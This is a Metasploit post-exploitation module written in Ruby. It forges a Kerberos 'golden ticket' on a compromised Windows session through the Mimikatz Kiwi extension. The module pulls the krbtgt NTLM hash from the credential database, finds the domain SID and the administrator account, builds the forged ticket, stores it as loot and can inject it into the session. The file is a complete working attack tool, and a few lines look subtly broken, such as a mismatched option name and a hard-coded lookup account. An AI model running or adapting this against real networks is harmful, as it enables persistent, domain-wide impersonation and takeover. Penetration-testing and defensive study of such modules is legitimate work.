require 'msf/core' require 'msf/core/post/windows/netapi' require 'msf/core/post/windows/kiwi' require 'msf/core/post/windows/error' class Metasploit3 < Msf::Post include Msf::Post::Windows::NetAPI include Msf::Post::Windows::Accounts include Msf::Post::Windows::Kiwi include Msf::Post::Windows::Error def initialize(info = {}) super(update_info(info, 'Name' => 'Windows Escalate Golden Ticket', 'Description' => %q{ This module will create a Golden Kerberos Ticket using the Mimikatz Kiwi Extension. If no options are applied it will attempt to identify the current domain, and the domain administrator account. By default the well-known Administrator's groups 512, 513, 518, 519, and 520 will be applied to the ticket (Mimikatz defaults). }, 'License' => MSF_LICENSE, 'Author' => [ 'Ben Campbell' ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'References' => [ ['URL', 'https:/github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos'], ['URL', 'http://blog.cobalstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/'] ] )) register_options( [ OptBool.new('USE', [true, 'Use the ticket in the current session', false]), OptString.new('USER', [false, 'Target User']), OptString.new('DOMAIN', [false, 'Target Domain']), OptString.new('KRBTGT_HASH', [false, 'KRBTGT NTLM Hash']), OptString.new('Domain SID', [false, 'Domain SID']), OptInt.new('ID', [false, 'Target User ID']), OptString.new('GROUPS', [false, 'ID of Groups (Comma Seperated)']) ], self.class) end def run return unless load_kiwi user = datastore['USER'] domain = datastore['DOMAIN'] krbtgt_hash = datastore['KRBTGT_HASH'] domain_sid = datastore['SID'] id = datastore['ID'] || 0 groups = [] groups = datastore['GROUPS'].split(',').map(&:to_i) if datastore['GROUPS'] unless domain print_status('Searching for the domain...') domain = get_domain if domain print_good("Targeting #{domain}") else fail_with(Failure::Unknown, 'Unable to retrieve the domain...') end end unless krbtgt_hash if framework.db.active print_status('Searching for krbtgt hash in database...') krbtgt_hash = lookup_krbtgt_hash(domain) fail_with(Failure::Unknown, 'Unable to find krbtgt hash in database') unless krbtgt_hash else fail_with(Failure::BadConfig, 'No database, please supply the krbtgt hash') end end unless domain_sid print_status("Obtaining #{domain} SID...") domain_sid = lookup_domain_sid(domain) if domain_sid print_good("Found #{domain} SID: #{domain_sid}") else fail_with(Failure::Unknown, "Unable to find SID for #{domain}") end end unless user if id && id != 0 print_status("Lookup up User #{id}") user = resolve_sid("#{domain_sid}-#{id}")[:name] else print_status('Looking up Domain Administrator account...') user = resolve_sid("#{domain_sid}-500")[:name] end if user print_good("Found User: #{user}") else fail_with(Failure::Unknown, 'Unable to find User') end end unless user && domain && domain_sid && krbtgt_hash fail_with(Failure::Unknown, 'Not all requirements obtained') end print_status("Creating Golden Ticket for #{domain}\\#{user}...") ticket = client.kiwi.golden_ticket_create(user, domain, domain_sid, krbtgt_hash, id, groups) if ticket print_good('Golden Ticket Obtained!') ticket_location = store_loot("golden.ticket", "binary/kirbi", session, ticket, "#{domain}\\#{user}-golden_ticket.kirbi", "#{domain}\\#{user} Golden Ticket") print_status("Ticket saved to #{ticket_location}") if datastore['USE'] print_status("Attempting to use the ticket...") client.kiwi.kerberos_ticket_use(ticket) print_good("Kerberos ticket applied successfully") end else fail_with(Failure::Unknown, 'Unable to create ticket') end end def lookup_domain_sid(domain) string_sid = nil cb_sid = 0 cch_referenced_domain_name = 0 sid_buffer = nil referenced_domain_name_buffer = nil # Send 0 length buffers so we get the correct buffer sizes from the out values buffers = client.railgun.advapi32.LookupAccountNameA( nil, 'administrator@metasploitable.local', sid_buffer, cb_sid, referenced_domain_name_buffer, cch_referenced_domain_name, 1) if !buffers['return'] && buffers['GetLastError'] == INSUFFICIENT_BUFFER sid_buffer = cb_sid = buffers['cbSid'] referenced_domain_name_buffer = cch_referenced_domain_name = buffers['cchReferencedDomainName'] res = client.railgun.advapi32.LookupAccountNameA( nil, domain, sid_buffer, cb_sid, referenced_domain_name_buffer, cch_referenced_domain_name, 1) else return nil end if res['return'] sub_authority_count = res['Sid'].unpack('CC')[1] sid = res['Sid'].unpack("CCCCCCCCV#{sub_authority_count}") string_sid = "S-#{sid[0]}-#{sid[7]}-#{sid[8]}-#{sid[9]}-#{sid[10]}-#{sid[11]}" else print_error("Error looking up SID: #{res['ErrorMessage']}") end string_sid end def lookup_krbtgt_hash(domain) krbtgt_hash = nil krbtgt_creds = Metasploit::Credential::Core.joins(:public, :private).where( metasploit_credential_publics: { username: 'krbtgt' }, metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' }, workspace_id: myworkspace.id) if krbtgt_creds if krbtgt_creds.count == 0 print_error('No KRBTGT Hashes found in database') elsif krbtgt_creds.count > 1 # Can we reduce the list by domain... krbtgt_creds_realm = krbtgt_creds.select { |c| c.realm.to_s.upcase == domain.upcase } # We have found a krbtgt hashes in our target domain if krbtgt_creds_realm.length == 1 cred = krbtgt_creds_realm.first krbtgt_hash = cred.private.data.split(':')[1] print_good("Using #{cred.realm}:#{cred.public.username}:#{krbtgt_hash}") return krbtgt_hash # We have found multiple krbtgt hashes in our target domain?! elsif krbtgt_creds_realm.length > 0 krbtgt_creds = krbtgt_creds_realm end # Multiple hashes found, the user will have to manually set one... print_error('Multiple KRBTGT Hashes found in database, please use one of the below:') krbtgt_creds.each do |kc| hash = kc.private.data.split(':')[1] print_line("#{kc.realm}:#{kc.public.username}:#{hash}") end else # Highlander, there can only be one! cred = krbtgt_creds.first krbtgt_hash = cred.private.data.split(':')[1] print_good("Using #{cred.realm}:#{cred.public.username}:#{krbtgt_hash}") end end krbtgt_hash end end